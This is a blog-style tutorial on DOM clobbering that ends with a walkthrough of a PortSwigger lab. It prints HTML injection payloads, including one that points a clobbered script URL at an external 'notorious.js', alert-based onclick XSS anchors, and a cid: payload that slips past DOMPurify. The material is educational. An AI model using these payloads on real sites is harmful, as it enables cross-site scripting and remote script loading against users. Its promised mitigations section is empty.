DOM Clobbering — It’s clobbering time!!!

So let's begin with understanding what is DOM first. So DOM ( Document Object Model )defines the logical structure of documents and the way the document is accessed and manipulated. Its basically the programming interface for HTML and XML documents. It represents a page so that programs can change the document style, content, and it’s structure. Consider the below image, it shows the DOM representation of the HTML document:

Image 1: DOM representation of HTML Document
Image 1: DOM representation of the HTML Document

What is an HTML Collection?

When we combine HTML elements into groups they become a collection. This becomes like an array structure where you can represent each element by the order they appear in the collection e.g. collection[0], collection[1].

What is DOM Clobbering?

DOM Clobbering is a technique in which we inject HTML in a page to manipulate the DOM. So basically you can clobber a global variable or property of an object and overwrite it with DOM node or HTML collection. DOM was initially implemented without any standardization leading to unusual behavior. For the sake of maintaining compatibility, browsers still support this unusual behavior. This can lead to DOM Clobbering. Now, let's take the below example:

<input id=x><input id=x><script>alert(x)</script>

On the browser, “x” alerts the object HTML collection. This can be done via “id” or “name” attributes. So wherever XSS is not possible, however, the “id” and “name” attribute is whitelisted by the HTML filter you will still be able to control a little amount of HTML on that page. A prevalent way for doing this uses anchor element to overwrite a global variable, which is later used by the application in unsafe ways.

What can be done with this? Well, by exploiting DOM Clobbering you enable XSS or generate dynamic script URL, etc.

How do we exploit this vulnerability?

There are various ways in which this is done. Below are few ways you can commonly see :-

Sometimes, Javascript developers code as below:

var testObject = window.testObject || {};

Now, if you can control some HTML then you can clobber the testObject with DOM node like anchor. Consider the below vulnerable code snippet:

<script>
window.onload = function(){
let testObject = window.testObject || {};
let script = document.createElement(‘script’);
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

You can clobber the testObject reference by injecting below HTML:

<a id=testObject><a id=testObject name=url href=//external-website.com/notorious.js>

As both the anchors use same id, DOM will group them together in a DOM collection. Now the testObject reference is overwritten with this DOM collection. The name attribute in the second anchor is used to clobber the “url” property of the testObject object which points to an external script notorious.js.

2. Enabling XSS

Observe the below vulnerable code which uses the OR operator along with a global variable,

let defaultque = window.defaultque || {octave: ‘/images/octar.png’}

We’ll try to clobber the “octave” property with our malicious attribute. Let’s create two anchors which will have the same “id” values which will make them get grouped in a DOM collection, as shown below:

<a id=defaultque><a id=defaultque name=octave href=”does something”>

Now if you want to enable XSS we can try the below modification,

<a id=defaultque><a id=defaultque name=octave href=”” onclick=”alert(100);”>

What are the mitigations for DOM-clobbering attack?

There are various other clobbering techniques where it’s possible to clobber three levels deep by using DOM collections with form.

Hands-on

Portswigger has labs that give you a hands-on experience on DOM Clobbering. I have tried solving one of the labs below. In case you want to do the labs without any hints then I would recommend you skip this section and directly move on to the reference links. But in case you want to see one of the methods in working then read on.

We are provided with a blogging application. Now it has been told that the comment functionality allows “safe” HTML. To solve the lab, we will need to construct an HTML injection that clobbers a variable and uses XSS to call the alert() function. So let's get started!

On opening the blogging application I chose the first blog and moved on to the comment section in order to see what all I could do there. To start with I tried all basic HTML tags like <h1>, <b>,<em>, etc, they all were allowed.What I observed was that the <script> tag was not allowed. As a part of “safe” HTML, attribute like “onclick” were also not allowed. Next, I went to see the view-source of the page in order to check whether I could look for any kind of bad coding pattern in the code using which I could clobber any global variable.

In the view-source of the blog page found the below js file getting called in the comments section.

loadcommentWithDomClobbering.js being referenced in the page

On looking into this js file found a vulnerable piece of code that could be used for clobbering, shown below.

As you can see in the above image, the defaultAvatar object is implemented using the pattern containing the OR operator in conjunction with a global variable. Now we can try to clobber this by creating two anchors with the same “id” forcing to get them grouped in a DOM collection. The “name” attribute in the second anchor contains the value avatar, which will clobber the “avatar” property with the contents of the “href” attribute.

In the code, we observe that DOMPurify library which is basically used to prevent any DOM related vulnerabilities. It sanitizes HTML and prevents XSS attacks. It will strip out everything that contains dangerous HTML and thereby preventing XSS attacks. On opening the DOMPurify.js file I could observe the below highlighted code in which the cid protocol is being allowed. This doesn't URL encode the double quotes which mean at runtime it will be decoded.

So I tried using the below payload with “onclick” attribute to trigger the XSS alert on the browser. Entered the payload with other details in the “Leave a comment” section and clicked on “Post Comment” button.

<a id=defaultAvatar><a id=defaultAvatar name=avatar href=”cid:&quot;onclick=alert(1)//”>

The payload in the comment section

On posting the comment, I was shown a message “Thank you for your comment!”. I clicked on the “Back to Blog” link which brought me back to the blog page. In the comment section now I can see my comment with a small image icon, I clicked on this image icon and the script executed.

If you want to dig deeper, please go through the below reference links:-

--

--

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store